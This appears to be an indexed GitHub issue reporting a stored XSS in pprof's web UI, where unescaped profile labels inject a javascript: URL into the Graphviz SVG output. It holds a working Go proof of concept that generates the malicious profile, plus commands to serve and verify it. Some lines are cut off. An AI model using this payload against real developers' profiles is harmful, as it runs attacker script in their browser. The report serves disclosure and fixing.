google / google/pprof

Stored XSS in pprof -http: a malicious profile's sample label/filename is put into the DOT graph without escapeForDot(), injecting URL="javascript:..." that Graphviz renders as a clickable SVG link.

Open
#1,020 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
Go
Stars
9.3k
Forks
671
Avg merge
1d 11h
Merged PRs (30d)
10

Description

## Summary
`pprof -http` serves a web UI that renders an **untrusted profile** (developers routinely open profiles
downloaded from CI, production `/debug/pprof`, bug reports, or colleagues). The graph view builds a Graphviz
DOT document from profile-derived strings, runs `dot -Tsvg`, and embeds the SVG **raw** (`template.HTML`). Two
string fields - a sample **label** and a function **filename** are interpolated into DOT **without** the
`escapeForDot()` output-encoding that the sibling label/tooltip/edge paths use. A `"` in the attacker's value
closes the DOT `label="…"` string early, letting the attacker inject a real DOT attribute
`URL="javascript:…"`. Graphviz turns that into an SVG ``, which renders in the
pprof web origin. Result: **stored XSS** - a developer who opens a malicious profile and clicks the graph node
runs attacker JavaScript in the pprof UI origin.

## Affected component
- Project: google/pprof - https://github.com/google/pprof
- File / functions:
- `internal/graph/dotgraph.go:250` `addNodelets` (and `:277` `numericNodelets`) - **F1**, sample-label tag name
- `internal/graph/dotgraph.go:393` `multilinePrintableName` (File component) - **F2**, `Function.Filename`
- Rendered raw at `internal/driver/webui.go:342` `HTMLBody: template.HTML(string(svg))`
- Verified on: current `main`, commit `4d45320` (built from source).
- Type / severity: Stored XSS (CWE-79) via improper output encoding (CWE-116); High.

## Root cause
The graph is emitted as Graphviz DOT by string-formatting profile text into `attr = "value"` statements.
`addNodelets` does:

nodelets += fmt.Sprintf(`N%d_%d [label = "%s" id="%s" fontsize=8 shape=box3d tooltip="%s"]`,
..., t.Name, ..., t.Name) // t.Name interpolated RAW, no escapeForDot()

`t.Name` is the attacker-controlled sample label (`key:value`, stored verbatim by `joinLabels()` /
`findOrAddTag`, `internal/graph/graph.go`). pprof's DOT encoder `escapeForDot()` escapes `"`→`\"` (and `\`,
newlines) specifically to stop a quote from terminating a DOT string, and the node/edge label/tooltip paths
call it (`dotgraph.go:129,190,308,309,386`). The two nodelet paths (and the `File` component at `:3
it** - an incomplete-escaping defect.

## Mechanism (stage by stage)
1. Attacker sets a `Sample.Label` **key** to: `t" URL="javascript:alert(document.domain)" y="`
2. Stored verbatim as the tag `Name` (no escaping).
3. Interpolated raw into DOT:

N1_0 [label = "t" URL="javascript:alert(document.domain)" y=":v" ... ]
^ this quote closes label="t" early

Graphviz then parses ` URL="javascript:alert(document.domain)"` as a **legitimate node attribute**.
4. `dot -Tsvg` copies the `URL` attribute verbatim into an SVG hyperlink:

...

5. pprof embeds the SVG raw via `template.HTML(string(svg))` (escaping bypassed; no `Content-Securi
on `/ui` responses; the web path does not run the CLI's `massageSVG` sanitizer).
6. The `` is in the pprof origin's DOM; activating the node (a click - norma
navigation) executes the attacker's JS in that origin.

## Proof of Concept

Step 1 - build a malicious profile with the `github.com/google/pprof/profile` package. `gen_xss.go`:

package main
import ("os"; "github.com/google/pprof/profile")
func main() {
// sample-label KEY that breaks out of the DOT label string and injects URL="javascript:..."
key := "t\" URL=\"javascript:alert(document.domain)\" y=\""
m := &profile.Mapping{ID:1, File:"/bin/app"}
fn := &profile.Function{ID:1, Name:"legit_func", Filename:"/src/app.go"}
loc := &profile.Location{ID:1, Mapping:m, Address:0x1000, Line:[]profile.Line{{Function:fn, L
st := &profile.ValueType{Type:"samples", Unit:"count"}
p := &profile.Profile{
SampleType:[]*profile.ValueType{st}, DefaultSampleType:"samples",
Mapping:[]*profile.Mapping{m}, Function:[]*profile.Function{fn}, Location:[]*profile.Locati
Sample:[]*profile.Sample{{Location:[]*profile.Location{loc}, Value:[]int64{5},
Label: map[string][]string{key: {"v"}}}},
}
f,_ := os.Create("evil_xss.pb.gz"); defer f.Close()
if err := p.Write(f); err != nil { panic(err) }
}

Step 2 - generate and serve (requires Graphviz `dot` installed):

go mod init poc && go get github.com/google/pprof/profile
go run gen_xss.go # writes evil_xss.pb.gz
go run github.com/google/pprof@latest -http=127.0.0.1:8088 evil_xss.pb.gz

Step 3 - verify (no browser needed): the injected anchor is in the default graph view:

curl -s http://127.0.0.1:8088/ui/graph | grep -o '

Contributor guide

Open the contributing guide

Research direction

Start in internal/graph/dotgraph.go at addNodelets, numericNodelets, and multilinePrintableName, then compare their interpolations with the sibling paths that call escapeForDot(). Inspect internal/driver/webui.go to understand the raw SVG embedding. Done means profile-derived label and filename values can no longer create injected DOT attributes or javascript SVG links; verify with focused graph output tests or the supplied proof of concept.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
74/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.